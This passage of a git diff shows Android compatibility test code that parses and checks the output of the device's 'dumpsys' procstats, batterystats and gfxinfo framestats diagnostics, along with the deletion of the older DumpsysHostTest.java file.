+        assertTrue("wifiBytesTx must be >= wifiPacketsTx", wbTx >= wpTx);
+        assertTrue("wifiPacketsTx must be >= 0", wpTx >= 0);
+        // Totals should be greater than or equal to background data numbers
+        assertTrue("mobileBytesRx must be >= mobileBytesBgRx", mbRx >= mbBgRx);
+        assertTrue("mobilePacketsRx must be >= mobilePacketsBgRx", mpRx >= mpBgRx);
+        assertTrue("mobileBytesTx must be >= mobileBytesBgTx", mbTx >= mbBgTx);
+        assertTrue("mobilePacketsTx must be >= mobilePacketsBgTx", mpTx >= mpBgTx);
+        assertTrue("wifiBytesRx must be >= wifiBytesBgRx", wbRx >= wbBgRx);
+        assertTrue("wifiPacketsRx must be >= wifiPacketsBgRx", wpRx >= wpBgRx);
+        assertTrue("wifiBytesTx must be >= wifiBytesBgTx", wbTx >= wbBgTx);
+        assertTrue("wifiPacketsTx must be >= wifiPacketsBgTx", wpTx >= wpBgTx);
+    }
+
+    private void checkUserActivity(String[] parts) {
+        assertEquals(8, parts.length);
+        assertInteger(parts[4]); // other
+        assertInteger(parts[5]); // button
+        assertInteger(parts[6]); // touch
+        assertInteger(parts[7]); // accessibility
+    }
+
+    private void checkBattery(String[] parts) {
+        assertEquals(15, parts.length);
+        if (!parts[4].equals("N/A")) {
+            assertInteger(parts[4]);  // startCount
+        }
+        long bReal = assertInteger(parts[5]);  // batteryRealtime
+        long bUp = assertInteger(parts[6]);  // batteryUptime
+        long tReal = assertInteger(parts[7]);  // totalRealtime
+        long tUp = assertInteger(parts[8]);  // totalUptime
+        assertInteger(parts[9]);  // startClockTime
+        long bOffReal = assertInteger(parts[10]); // batteryScreenOffRealtime
+        long bOffUp = assertInteger(parts[11]); // batteryScreenOffUptime
+        long bEstCap = assertInteger(parts[12]); // batteryEstimatedCapacity
+        assertInteger(parts[13]); // minLearnedBatteryCapacity
+        assertInteger(parts[14]); // maxLearnedBatteryCapacity
+
+        // The device cannot be up more than there are real-world seconds.
+        assertTrue("batteryRealtime must be >= batteryUptime", bReal >= bUp);
+        assertTrue("totalRealtime must be >= totalUptime", tReal >= tUp);
+        assertTrue("batteryScreenOffRealtime must be >= batteryScreenOffUptime",
+                bOffReal >= bOffUp);
+
+        // total >= battery >= battery screen-off >= 0
+        assertTrue("totalRealtime must be >= batteryRealtime", tReal >= bReal);
+        assertTrue("batteryRealtime must be >= batteryScreenOffRealtime", bReal >= bOffReal);
+        assertTrue("batteryScreenOffRealtime must be >= 0", bOffReal >= 0);
+        assertTrue("totalUptime must be >= batteryUptime", tUp >= bUp);
+        assertTrue("batteryUptime must be >= batteryScreenOffUptime", bUp >= bOffUp);
+        assertTrue("batteryScreenOffUptime must be >= 0", bOffUp >= 0);
+        assertTrue("batteryEstimatedCapacity must be >= 0", bEstCap >= 0);
+    }
+
+    private void checkBatteryDischarge(String[] parts) {
+        assertEquals(10, parts.length);
+        assertInteger(parts[4]); // low
+        assertInteger(parts[5]); // high
+        assertInteger(parts[6]); // screenOn
+        assertInteger(parts[7]); // screenOff
+        assertInteger(parts[8]); // dischargeCount
+        assertInteger(parts[9]); // dischargeScreenOffCount
+    }
+
+    private void checkBatteryLevel(String[] parts) {
+        assertEquals(6, parts.length);
+        assertInteger(parts[4]); // startLevel
+        assertInteger(parts[5]); // currentLevel
+    }
+
+    private void checkWifi(String[] parts) {
+        assertEquals(14, parts.length);
+        assertInteger(parts[4]); // fullWifiLockOnTime (usec)
+        assertInteger(parts[5]); // wifiScanTime (usec)
+        assertInteger(parts[6]); // uidWifiRunningTime (usec)
+        assertInteger(parts[7]); // wifiScanCount
+        // Fields for parts[8 and 9 and 10] are deprecated.
+        assertInteger(parts[11]); // wifiScanCountBg
+        assertInteger(parts[12]); // wifiScanActualTimeMs (msec)
+        assertInteger(parts[13]); // wifiScanActualTimeMsBg (msec)
+    }
+
+    private void checkMisc(String[] parts) {
+        assertTrue(parts.length >= 19);
+        assertInteger(parts[4]);      // screenOnTime
+        assertInteger(parts[5]);      // phoneOnTime
+        assertInteger(parts[6]);      // fullWakeLockTimeTotal
+        assertInteger(parts[7]);      // partialWakeLockTimeTotal
+        assertInteger(parts[8]);      // mobileRadioActiveTime
+        assertInteger(parts[9]);      // mobileRadioActiveAdjustedTime
+        assertInteger(parts[10]);     // interactiveTime
+        assertInteger(parts[11]);     // lowPowerModeEnabledTime
+        assertInteger(parts[12]);     // connChanges
+        assertInteger(parts[13]);     // deviceIdleModeEnabledTime
+        assertInteger(parts[14]);     // deviceIdleModeEnabledCount
+        assertInteger(parts[15]);     // deviceIdlingTime
+        assertInteger(parts[16]);     // deviceIdlingCount
+        assertInteger(parts[17]);     // mobileRadioActiveCount
+        assertInteger(parts[18]);     // mobileRadioActiveUnknownTime
+    }
+
+    private void checkGlobalNetwork(String[] parts) {
+        assertEquals(14, parts.length);
+        assertInteger(parts[4]);  // mobileRxTotalBytes
+        assertInteger(parts[5]);  // mobileTxTotalBytes
+        assertInteger(parts[6]);  // wifiRxTotalBytes
+        assertInteger(parts[7]);  // wifiTxTotalBytes
+        assertInteger(parts[8]);  // mobileRxTotalPackets
+        assertInteger(parts[9]);  // mobileTxTotalPackets
+        assertInteger(parts[10]); // wifiRxTotalPackets
+        assertInteger(parts[11]); // wifiTxTotalPackets
+        assertInteger(parts[12]); // btRxTotalBytes
+        assertInteger(parts[13]); // btTxTotalBytes
+    }
+
+    private void checkScreenBrightness(String[] parts) {
+        assertEquals(9, parts.length);
+        assertInteger(parts[4]); // dark
+        assertInteger(parts[5]); // dim
+        assertInteger(parts[6]); // medium
+        assertInteger(parts[7]); // light
+        assertInteger(parts[8]); // bright
+    }
+
+    private void checkSignalStrength(String[] parts) {
+        assertTrue(parts.length >= 9);
+        assertInteger(parts[4]); // none
+        assertInteger(parts[5]); // poor
+        assertInteger(parts[6]); // moderate
+        assertInteger(parts[7]); // good
+        assertInteger(parts[8]); // great
+    }
+
+    private void checkSignalScanningTime(String[] parts) {
+        assertEquals(5, parts.length);
+        assertInteger(parts[4]); // signalScanningTime
+    }
+
+    private void checkDataConnection(String[] parts) {
+        assertEquals(21, parts.length);
+        assertInteger(parts[4]);  // none
+        assertInteger(parts[5]);  // gprs
+        assertInteger(parts[6]);  // edge
+        assertInteger(parts[7]);  // umts
+        assertInteger(parts[8]);  // cdma
+        assertInteger(parts[9]);  // evdo_0
+        assertInteger(parts[10]); // evdo_A
+        assertInteger(parts[11]); // 1xrtt
+        assertInteger(parts[12]); // hsdpa
+        assertInteger(parts[13]); // hsupa
+        assertInteger(parts[14]); // hspa
+        assertInteger(parts[15]); // iden
+        assertInteger(parts[16]); // evdo_b
+        assertInteger(parts[17]); // lte
+        assertInteger(parts[18]); // ehrpd
+        assertInteger(parts[19]); // hspap
+        assertInteger(parts[20]); // other
+    }
+
+    private void checkWifiState(String[] parts) {
+        assertEquals(12, parts.length);
+        assertInteger(parts[4]);  // off
+        assertInteger(parts[5]);  // scanning
+        assertInteger(parts[6]);  // no_net
+        assertInteger(parts[7]);  // disconn
+        assertInteger(parts[8]);  // sta
+        assertInteger(parts[9]);  // p2p
+        assertInteger(parts[10]); // sta_p2p
+        assertInteger(parts[11]); // soft_ap
+    }
+
+    private void checkWifiSupplState(String[] parts) {
+        assertEquals(17, parts.length);
+        assertInteger(parts[4]);  // inv
+        assertInteger(parts[5]);  // dsc
+        assertInteger(parts[6]);  // dis
+        assertInteger(parts[7]);  // inact
+        assertInteger(parts[8]);  // scan
+        assertInteger(parts[9]);  // auth
+        assertInteger(parts[10]); // ascing
+        assertInteger(parts[11]); // asced
+        assertInteger(parts[12]); // 4-way
+        assertInteger(parts[13]); // group
+        assertInteger(parts[14]); // compl
+        assertInteger(parts[15]); // dorm
+        assertInteger(parts[16]); // uninit
+    }
+
+    private void checkWifiSignalStrength(String[] parts) {
+        assertEquals(9, parts.length);
+        assertInteger(parts[4]); // none
+        assertInteger(parts[5]); // poor
+        assertInteger(parts[6]); // moderate
+        assertInteger(parts[7]); // good
+        assertInteger(parts[8]); // great
+    }
+
+    private void checkBluetoothState(String[] parts) {
+        assertEquals(8, parts.length);
+        assertInteger(parts[4]); // inactive
+        assertInteger(parts[5]); // low
+        assertInteger(parts[6]); // med
+        assertInteger(parts[7]); // high
+    }
+
+    private void checkPowerUseSummary(String[] parts) {
+        assertEquals(8, parts.length);
+        assertDouble(parts[4]); // batteryCapacity
+        assertDouble(parts[5]); // computedPower
+        assertDouble(parts[6]); // minDrainedPower
+        assertDouble(parts[7]); // maxDrainedPower
+    }
+
+    private void checkPowerUseItem(String[] parts) {
+        assertEquals(9, parts.length);
+        assertNotNull(parts[4]); // label
+        final double totalPowerMah = assertDouble(parts[5]);  // totalPowerMah
+        final long shouldHide = assertInteger(parts[6]);  // shouldHide (0 or 1)
+        final double screenPowerMah = assertDouble(parts[7]);  // screenPowerMah
+        final double proportionalSmearMah = assertDouble(parts[8]);  // proportionalSmearMah
+
+        assertTrue("powerUseItem totalPowerMah must be >= 0", totalPowerMah >= 0);
+        assertTrue("powerUseItem screenPowerMah must be >= 0", screenPowerMah >= 0);
+        assertTrue("powerUseItem proportionalSmearMah must be >= 0", proportionalSmearMah >= 0);
+        assertTrue("powerUseItem shouldHide must be 0 or 1", shouldHide == 0 || shouldHide == 1);
+
+        // Largest current Android battery is ~5K. 100K shouldn't get made for a while.
+        assertTrue("powerUseItem totalPowerMah is expected to be <= 100000", totalPowerMah <= 100000);
+    }
+
+    private void checkChargeDischargeStep(String[] parts) {
+        assertEquals(9, parts.length);
+        assertInteger(parts[4]); // duration
+        if (!parts[5].equals("?")) {
+            assertInteger(parts[5]); // level
+        }
+        assertNotNull(parts[6]); // screen
+        assertNotNull(parts[7]); // power-save
+        assertNotNull(parts[8]); // device-idle
+    }
+
+    private void checkDischargeTimeRemain(String[] parts) {
+        assertEquals(5, parts.length);
+        assertInteger(parts[4]); // batteryTimeRemaining
+    }
+
+    private void checkChargeTimeRemain(String[] parts) {
+        assertEquals(5, parts.length);
+        assertInteger(parts[4]); // chargeTimeRemaining
+    }
+
+    private void checkUidCpuUsage(String[] parts) {
+        assertTrue(parts.length >= 6);
+        assertInteger(parts[4]); // user time
+        assertInteger(parts[5]); // system time
+    }
+
+    private void checkBluetoothMisc(String[] parts) {
+        assertEquals(15, parts.length);
+        assertInteger(parts[4]); // totalTime
+        assertInteger(parts[5]); // count
+        assertInteger(parts[6]); // countBg
+        assertInteger(parts[7]); // actualTime
+        assertInteger(parts[8]); // actualTimeBg
+        assertInteger(parts[9]); // resultsCount
+        assertInteger(parts[10]); // resultsCountBg
+        assertInteger(parts[11]); // unoptimizedScanTotalTime
+        assertInteger(parts[12]); // unoptimizedScanTotalTimeBg
+        assertInteger(parts[13]); // unoptimizedScanMaxTime
+        assertInteger(parts[14]); // unoptimizedScanMaxTimeBg
+    }
+
+    /**
+     * Tests the output of "dumpsys gfxinfo framestats".
+     *
+     * @throws Exception
+     */
+    public void testGfxinfoFramestats() throws Exception {
+        final String MARKER = "---PROFILEDATA---";
+
+        try {
+            // cleanup test apps that might be installed from previous partial test run
+            getDevice().uninstallPackage(TEST_PKG);
+
+            // install the test app
+            CompatibilityBuildHelper buildHelper = new CompatibilityBuildHelper(mCtsBuild);
+            File testAppFile = buildHelper.getTestFile(TEST_APK);
+            String installResult = getDevice().installPackage(testAppFile, false);
+            assertNull(
+                    String.format("failed to install atrace test app. Reason: %s", installResult),
+                    installResult);
+
+            getDevice().executeShellCommand("am start -W " + TEST_PKG);
+
+            String frameinfo = mDevice.executeShellCommand("dumpsys gfxinfo " +
+                    TEST_PKG + " framestats");
+            assertNotNull(frameinfo);
+            assertTrue(frameinfo.length() > 0);
+            int profileStart = frameinfo.indexOf(MARKER);
+            int profileEnd = frameinfo.indexOf(MARKER, profileStart + 1);
+            assertTrue(profileStart >= 0);
+            assertTrue(profileEnd > profileStart);
+            String profileData = frameinfo.substring(profileStart + MARKER.length(), profileEnd);
+            assertTrue(profileData.length() > 0);
+            validateProfileData(profileData);
+        } finally {
+            getDevice().uninstallPackage(TEST_PKG);
+        }
+    }
+
+    private void validateProfileData(String profileData) throws IOException {
+        final int TIMESTAMP_COUNT = 14;
+        boolean foundAtLeastOneRow = false;
+        try (BufferedReader reader = new BufferedReader(
+                new StringReader(profileData))) {
+            String line;
+            // First line needs to be the headers
+            while ((line = reader.readLine()) != null && line.isEmpty()) {}
+
+            assertNotNull(line);
+            assertTrue("First line was not the expected header",
+                    line.startsWith("Flags,IntendedVsync,Vsync,OldestInputEvent" +
+                            ",NewestInputEvent,HandleInputStart,AnimationStart" +
+                            ",PerformTraversalsStart,DrawStart,SyncQueued,SyncStart" +
+                            ",IssueDrawCommandsStart,SwapBuffers,FrameCompleted"));
+
+            long[] numparts = new long[TIMESTAMP_COUNT];
+            while ((line = reader.readLine()) != null && !line.isEmpty()) {
+
+                String[] parts = line.split(",");
+                assertTrue(parts.length >= TIMESTAMP_COUNT);
+                for (int i = 0; i < TIMESTAMP_COUNT; i++) {
+                    numparts[i] = assertInteger(parts[i]);
+                }
+                if (numparts[0] != 0) {
+                    continue;
+                }
+                // assert VSYNC >= INTENDED_VSYNC
+                assertTrue(numparts[2] >= numparts[1]);
+                // assert time is flowing forwards, skipping index 3 & 4
+                // as those are input timestamps that may or may not be present
+                assertTrue(numparts[5] >= numparts[2]);
+                for (int i = 6; i < TIMESTAMP_COUNT; i++) {
+                    assertTrue("Index " + i + " did not flow forward, " +
+                            numparts[i] + " not larger than " + numparts[i - 1],
+                            numparts[i] >= numparts[i-1]);
+                }
+                long totalDuration = numparts[13] - numparts[1];
+                assertTrue("Frame did not take a positive amount of time to process",
+                        totalDuration > 0);
+                assertTrue("Bogus frame duration, exceeds 100 seconds",
+                        totalDuration < 100000000000L);
+                foundAtLeastOneRow = true;
+            }
+        }
+        assertTrue(foundAtLeastOneRow);
+    }
+}
diff --git a/hostsidetests/dumpsys/src/android/dumpsys/cts/DumpsysHostTest.java b/hostsidetests/dumpsys/src/android/dumpsys/cts/DumpsysHostTest.java
deleted file mode 100644
index fee107e..0000000
--- a/hostsidetests/dumpsys/src/android/dumpsys/cts/DumpsysHostTest.java
+++ /dev/null
@@ -1,983 +0,0 @@
-/*
- * Copyright (C) 2014 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.dumpsys.cts;
-
-import com.android.cts.migration.MigrationHelper;
-import com.android.tradefed.build.IBuildInfo;
-import com.android.tradefed.device.ITestDevice;
-import com.android.tradefed.testtype.DeviceTestCase;
-import com.android.tradefed.testtype.IBuildReceiver;
-
-import java.io.BufferedReader;
-import java.io.File;
-import java.io.IOException;
-import java.io.StringReader;
-import java.util.HashSet;
-import java.util.Set;
-
-/**
- * Test to check the format of the dumps of various services.
- * Currently procstats and batterystats are tested.
- */
-public class DumpsysHostTest extends DeviceTestCase implements IBuildReceiver {
-    private static final String TAG = "DumpsysHostTest";
-    private static final String TEST_APK = "CtsFramestatsTestApp.apk";
-    private static final String TEST_PKG = "com.android.cts.framestatstestapp";
-
-    /**
-     * A reference to the device under test.
-     */
-    private ITestDevice mDevice;
-
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-        mDevice = getDevice();
-    }
-
-    /**
-     * Tests the output of "dumpsys procstats -c". This is a proxy for testing "dumpsys procstats
-     * --checkin", since the latter is not idempotent.
-     *
-     * @throws Exception
-     */
-    public void testProcstatsOutput() throws Exception {
-        String procstats = mDevice.executeShellCommand("dumpsys procstats -c");
-        assertNotNull(procstats);
-        assertTrue(procstats.length() > 0);
-
-        Set<String> seenTags = new HashSet<>();
-        int version = -1;
-
-        try (BufferedReader reader = new BufferedReader(
-                new StringReader(procstats))) {
-
-            String line;
-            while ((line = reader.readLine()) != null) {
-                if (line.isEmpty()) {
-                    continue;
-                }
-
-                // extra space to make sure last column shows up.
-                if (line.endsWith(",")) {
-                  line = line + " ";
-                }
-                String[] parts = line.split(",");
-                seenTags.add(parts[0]);
-
-                switch (parts[0]) {
-                    case "vers":
-                        assertEquals(2, parts.length);
-                        version = Integer.parseInt(parts[1]);
-                        break;
-                    case "period":
-                        checkPeriod(parts);
-                        break;
-                    case "pkgproc":
-                        checkPkgProc(parts, version);
-                        break;
-                    case "pkgpss":
-                        checkPkgPss(parts, version);
-                        break;
-                    case "pkgsvc-bound":
-                    case "pkgsvc-exec":
-                    case "pkgsvc-run":
-                    case "pkgsvc-start":
-                        checkPkgSvc(parts, version);
-                        break;
-                    case "pkgkills":
-                        checkPkgKills(parts, version);
-                        break;
-                    case "proc":
-                        checkProc(parts);
-                        break;
-                    case "pss":
-                        checkPss(parts);
-                        break;
-                    case "kills":
-                        checkKills(parts);
-                        break;
-                    case "total":
-                        checkTotal(parts);
-                        break;
-                    default:
-                        break;
-                }
-            }
-        }
-
-        // spot check a few tags
-        assertSeenTag(seenTags, "pkgproc");
-        assertSeenTag(seenTags, "proc");
-        assertSeenTag(seenTags, "pss");
-        assertSeenTag(seenTags, "total");
-    }
-
-    private void checkPeriod(String[] parts) {
-        assertTrue("Expected 5 or 6, found: " + parts.length,
-                parts.length == 5 || parts.length == 6);
-        assertNotNull(parts[1]); // date
-        assertInteger(parts[2]); // start time (msec)
-        assertInteger(parts[3]); // end time (msec)
-        assertNotNull(parts[4]); // status
-        if (parts.length == 6) {
-            assertNotNull(parts[5]); // swapped-out-pss
-        }
-    }
-
-    private void checkPkgProc(String[] parts, int version) {
-        int statesStartIndex;
-
-        if (version < 4) {
-            assertTrue(parts.length >= 4);
-            assertNotNull(parts[1]); // package name
-            assertInteger(parts[2]); // uid
-            assertNotNull(parts[3]); // process
-            statesStartIndex = 4;
-        } else {
-            assertTrue(parts.length >= 5);
-            assertNotNull(parts[1]); // package name
-            assertInteger(parts[2]); // uid
-            assertInteger(parts[3]); // app version
-            assertNotNull(parts[4]); // process
-            statesStartIndex = 5;
-        }
-
-        for (int i = statesStartIndex; i < parts.length; i++) {
-            String[] subparts = parts[i].split(":");
-            assertEquals(2, subparts.length);
-            checkTag(subparts[0], true); // tag
-            assertInteger(subparts[1]); // duration (msec)
-        }
-    }
-
-    private void checkTag(String tag, boolean hasProcess) {
-        assertEquals(hasProcess ? 3 : 2, tag.length());
-
-        // screen: 0 = off, 1 = on
-        char s = tag.charAt(0);
-        if (s != '0' && s != '1') {
-            fail("malformed tag: " + tag);
-        }
-
-        // memory: n = normal, m = moderate, l = low, c = critical
-        char m = tag.charAt(1);
-        if (m != 'n' && m != 'm' && m != 'l' && m != 'c') {
-            fail("malformed tag: " + tag);
-        }
-
-        if (hasProcess) {
-            char p = tag.charAt(2);
-            assertTrue("malformed tag: " + tag, p >= 'a' && p <= 'z');
-        }
-    }
-
-    private void checkPkgPss(String[] parts, int version) {
-        int statesStartIndex;
-
-        if (version < 4) {
-            assertTrue(parts.length >= 4);
-            assertNotNull(parts[1]); // package name
-            assertInteger(parts[2]); // uid
-            assertNotNull(parts[3]); // process
-            statesStartIndex = 4;
-        } else {
-            assertTrue(parts.length >= 5);
-            assertNotNull(parts[1]); // package name
-            assertInteger(parts[2]); // uid
-            assertInteger(parts[3]); // app version
-            assertNotNull(parts[4]); // process
-            statesStartIndex = 5;
-        }
-
-        for (int i = statesStartIndex; i < parts.length; i++) {
-            String[] subparts = parts[i].split(":");
-            assertEquals(8, subparts.length);
-            checkTag(subparts[0], true); // tag
-            assertInteger(subparts[1]); // sample size
-            assertInteger(subparts[2]); // pss min
-            assertInteger(subparts[3]); // pss avg
-            assertInteger(subparts[4]); // pss max
-            assertInteger(subparts[5]); // uss min
-            assertInteger(subparts[6]); // uss avg
-            assertInteger(subparts[7]); // uss max
-        }
-    }
-
-    private void checkPkgSvc(String[] parts, int version) {
-        int statesStartIndex;
-
-        if (version < 4) {
-            assertTrue(parts.length >= 5);
-            assertNotNull(parts[1]); // package name
-            assertInteger(parts[2]); // uid
-            assertNotNull(parts[3]); // service name
-            assertInteger(parts[4]); // count
-            statesStartIndex = 5;
-        } else {
-            assertTrue(parts.length >= 6);
-            assertNotNull(parts[1]); // package name
-            assertInteger(parts[2]); // uid
-            assertInteger(parts[3]); // app version
-            assertNotNull(parts[4]); // service name
-            assertInteger(parts[5]); // count
-            statesStartIndex = 6;
-        }
-
-        for (int i = statesStartIndex; i < parts.length; i++) {
-            String[] subparts = parts[i].split(":");
-            assertEquals(2, subparts.length);
-            checkTag(subparts[0], false); // tag
-            assertInteger(subparts[1]); // duration (msec)
-        }
-    }
-
-    private void checkPkgKills(String[] parts, int version) {
-        String pssStr;
-
-        if (version < 4) {
-            assertEquals(8, parts.length);
-            assertNotNull(parts[1]); // package name
-            assertInteger(parts[2]); // uid
-            assertNotNull(parts[3]); // process
-            assertInteger(parts[4]); // wakes
-            assertInteger(parts[5]); // cpu
-            assertInteger(parts[6]); // cached
-            pssStr = parts[7];
-        } else {
-            assertEquals(9, parts.length);
-            assertNotNull(parts[1]); // package name
-            assertInteger(parts[2]); // uid
-            assertInteger(parts[3]); // app version
-            assertNotNull(parts[4]); // process
-            assertInteger(parts[5]); // wakes
-            assertInteger(parts[6]); // cpu
-            assertInteger(parts[7]); // cached
-            pssStr = parts[8];
-        }
-
-        String[] subparts = pssStr.split(":");
-        assertEquals(3, subparts.length);
-        assertInteger(subparts[0]); // pss min
-        assertInteger(subparts[1]); // pss avg
-        assertInteger(subparts[2]); // pss max
-    }
-
-    private void checkProc(String[] parts) {
-        assertTrue(parts.length >= 3);
-        assertNotNull(parts[1]); // package name
-        assertInteger(parts[2]); // uid
-
-        for (int i = 3; i < parts.length; i++) {
-            String[] subparts = parts[i].split(":");
-            assertEquals(2, subparts.length);
-            checkTag(subparts[0], true); // tag
-            assertInteger(subparts[1]); // duration (msec)
-        }
-    }
-
-    private void checkPss(String[] parts) {
-        assertTrue(parts.length >= 3);
-        assertNotNull(parts[1]); // package name
-        assertInteger(parts[2]); // uid
-
-        for (int i = 3; i < parts.length; i++) {
-            String[] subparts = parts[i].split(":");
-            assertEquals(8, subparts.length);
-            checkTag(subparts[0], true); // tag
-            assertInteger(subparts[1]); // sample size
-            assertInteger(subparts[2]); // pss min
-            assertInteger(subparts[3]); // pss avg
-            assertInteger(subparts[4]); // pss max
-            assertInteger(subparts[5]); // uss min
-            assertInteger(subparts[6]); // uss avg
-            assertInteger(subparts[7]); // uss max
-        }
-    }
-
-    private void checkKills(String[] parts) {
-        assertEquals(7, parts.length);
-        assertNotNull(parts[1]); // package name
-        assertInteger(parts[2]); // uid
-        assertInteger(parts[3]); // wakes
-        assertInteger(parts[4]); // cpu
-        assertInteger(parts[5]); // cached
-        String pssStr = parts[6];
-
-        String[] subparts = pssStr.split(":");
-        assertEquals(3, subparts.length);
-        assertInteger(subparts[0]); // pss min
-        assertInteger(subparts[1]); // pss avg
-        assertInteger(subparts[2]); // pss max
-    }
-
-    private void checkTotal(String[] parts) {
-        assertTrue(parts.length >= 2);
-        for (int i = 1; i < parts.length; i++) {
-            String[] subparts = parts[i].split(":");
-            checkTag(subparts[0], false); // tag
-
-            if (subparts[1].contains("sysmemusage")) {
-                break; // see b/18340771
-            }
-            assertInteger(subparts[1]); // duration (msec)
-        }
-    }
-
-    /**
-     * Tests the output of "dumpsys batterystats --checkin".
-     *
-     * @throws Exception
-     */
-    public void testBatterystatsOutput() throws Exception {
-        String batterystats = mDevice.executeShellCommand("dumpsys batterystats --checkin");
-        assertNotNull(batterystats);
-        assertTrue(batterystats.length() > 0);
-
-        Set<String> seenTags = new HashSet<>();
-        int version = -1;
-
-        try (BufferedReader reader = new BufferedReader(
-                new StringReader(batterystats))) {
-
-            String line;
-            while ((line = reader.readLine()) != null) {
-                if (line.isEmpty()) {
-                    continue;
-                }
-
-
-                // With a default limit of 0, empty strings at the end are discarded.
-                // We still consider the empty string as a valid value in some cases.
-                // Using any negative number for the limit will preserve a trailing empty string.
-                // @see String#split(String, int)
-                String[] parts = line.split(",", -1);
-                assertInteger(parts[0]); // old version
-                assertInteger(parts[1]); // UID
-                switch (parts[2]) { // aggregation type
-                    case "i":
-                    case "l":
-                    case "c":
-                    case "u":
-                        break;
-                    default:
-                        fail("malformed stat: " + parts[2]);
-                }
-                assertNotNull(parts[3]);
-                seenTags.add(parts[3]);
-
-                // Note the time fields are measured in milliseconds by default.
-                switch (parts[3]) {
-                    case "vers":
-                        checkVersion(parts);
-                        break;
-                    case "uid":
-                        checkUid(parts);
-                        break;
-                    case "apk":
-                        checkApk(parts);
-                        break;
-                    case "pr":
-                        checkProcess(parts);
-                        break;
-                    case "sr":
-                        checkSensor(parts);
-                        break;
-                    case "vib":
-                        checkVibrator(parts);
-                        break;
-                    case "fg":
-                        checkForeground(parts);
-                        break;
-                    case "st":
-                        checkStateTime(parts);
-                        break;
-                    case "wl":
-                        checkWakelock(parts);
-                        break;
-                    case "sy":
-                        checkSync(parts);
-                        break;
-                    case "jb":
-                        checkJob(parts);
-                        break;
-                    case "kwl":
-                        checkKernelWakelock(parts);
-                        break;
-                    case "wr":
-                        checkWakeupReason(parts);
-                        break;
-                    case "nt":
-                        checkNetwork(parts);
-                        break;
-                    case "ua":
-                        checkUserActivity(parts);
-                        break;
-                    case "bt":
-                        checkBattery(parts);
-                        break;
-                    case "dc":
-                        checkBatteryDischarge(parts);
-                        break;
-                    case "lv":
-                        checkBatteryLevel(parts);
-                        break;
-                    case "wfl":
-                        checkWifi(parts);
-                        break;
-                    case "m":
-                        checkMisc(parts);
-                        break;
-                    case "gn":
-                        checkGlobalNetwork(parts);
-                        break;
-                    case "br":
-                        checkScreenBrightness(parts);
-                        break;
-                    case "sgt":
-                    case "sgc":
-                        checkSignalStrength(parts);
-                        break;
-                    case "sst":
-                        checkSignalScanningTime(parts);
-                        break;
-                    case "dct":
-                    case "dcc":
-                        checkDataConnection(parts);
-                        break;
-                    case "wst":
-                    case "wsc":
-                        checkWifiState(parts);
-                        break;
-                    case "wsst":
-                    case "wssc":
-                        checkWifiSupplState(parts);
-                        break;
-                    case "wsgt":
-                    case "wsgc":
-                        checkWifiSignalStrength(parts);
-                        break;
-                    case "bst":
-                    case "bsc":
-                        checkBluetoothState(parts);
-                        break;
-                    case "pws":
-                        checkPowerUseSummary(parts);
-                        break;
-                    case "pwi":
-                        checkPowerUseItem(parts);
-                        break;
-                    case "dsd":
-                    case "csd":
-                        checkChargeDischargeStep(parts);
-                        break;
-                    case "dtr":
-                        checkDischargeTimeRemain(parts);
-                        break;
-                    case "ctr":
-                        checkChargeTimeRemain(parts);
-                        break;
-                    case "cpu":
-                        checkUidCpuUsage(parts);
-                    default:
-                        break;
-                }
-            }
-        }
-
-        // spot check a few tags
-        assertSeenTag(seenTags, "vers");
-        assertSeenTag(seenTags, "bt");
-        assertSeenTag(seenTags, "dc");
-        assertSeenTag(seenTags, "m");
-    }
-
-    private void checkVersion(String[] parts) {
-        assertEquals(8, parts.length);
-        assertInteger(parts[4]); // checkinVersion
-        assertInteger(parts[5]); // parcelVersion
-        assertNotNull(parts[6]); // startPlatformVersion
-        assertNotNull(parts[7]); // endPlatformVersion
-    }
-
-    private void checkUid(String[] parts) {
-        assertEquals(6, parts.length);
-        assertInteger(parts[4]); // uid
-        assertNotNull(parts[5]); // pkgName
-    }
-
-    private void checkApk(String[] parts) {
-        assertEquals(10, parts.length);
-        long wakeup_count = assertInteger(parts[4]); // wakeups
-        assertNotNull(parts[5]); // apk
-        assertNotNull(parts[6]); // service
-        assertInteger(parts[7]); // startTime
-        assertInteger(parts[8]); // starts
-        assertInteger(parts[9]); // launches
-
-        // Sanity check.
-        assertTrue("wakeup count must be >= 0", wakeup_count >= 0);
-    }
-
-    private void checkProcess(String[] parts) {
-        assertTrue(parts.length >= 9);
-        assertNotNull(parts[4]); // process
-        assertInteger(parts[5]); // userMillis
-        assertInteger(parts[6]); // systemMillis
-        assertInteger(parts[7]); // foregroundMillis
-        assertInteger(parts[8]); // starts
-    }
-
-    private void checkSensor(String[] parts) {
-        assertEquals(7, parts.length);
-        assertInteger(parts[4]); // sensorNumber
-        assertInteger(parts[5]); // totalTime
-        assertInteger(parts[6]); // count
-    }
-
-    private void checkVibrator(String[] parts) {
-        assertEquals(6, parts.length);
-        assertInteger(parts[4]); // totalTime
-        assertInteger(parts[5]); // count
-    }
-
-    private void checkForeground(String[] parts) {
-        assertEquals(6, parts.length);
-        assertInteger(parts[4]); // totalTime
-        assertInteger(parts[5]); // count
-    }
-
-    private void checkStateTime(String[] parts) {
-        assertEquals(7, parts.length);
-        assertInteger(parts[4]); // foreground
-        assertInteger(parts[5]); // active
-        assertInteger(parts[6]); // running
-    }
-
-    private void checkWakelock(String[] parts) {
-        assertEquals(14, parts.length);
-        assertNotNull(parts[4]);      // wakelock
-        assertInteger(parts[5]);      // full totalTime
-        assertEquals("f", parts[6]);  // full
-        long full_count = assertInteger(parts[7]);      // full count
-        assertInteger(parts[8]);      // partial totalTime
-        assertEquals("p", parts[9]);  // partial
-        long partial_count = assertInteger(parts[10]);     // partial count
-        assertInteger(parts[11]);     // window totalTime
-        assertEquals("w", parts[12]); // window
-        long window_count = assertInteger(parts[13]);     // window count
-
-        // Sanity checks.
-        assertTrue("full wakelock count must be >= 0", full_count >= 0);
-        assertTrue("partial wakelock count must be >= 0", partial_count >= 0);
-        assertTrue("window wakelock count must be >= 0", window_count >= 0);
-    }
-
-    private void checkSync(String[] parts) {
-        assertEquals(7, parts.length);
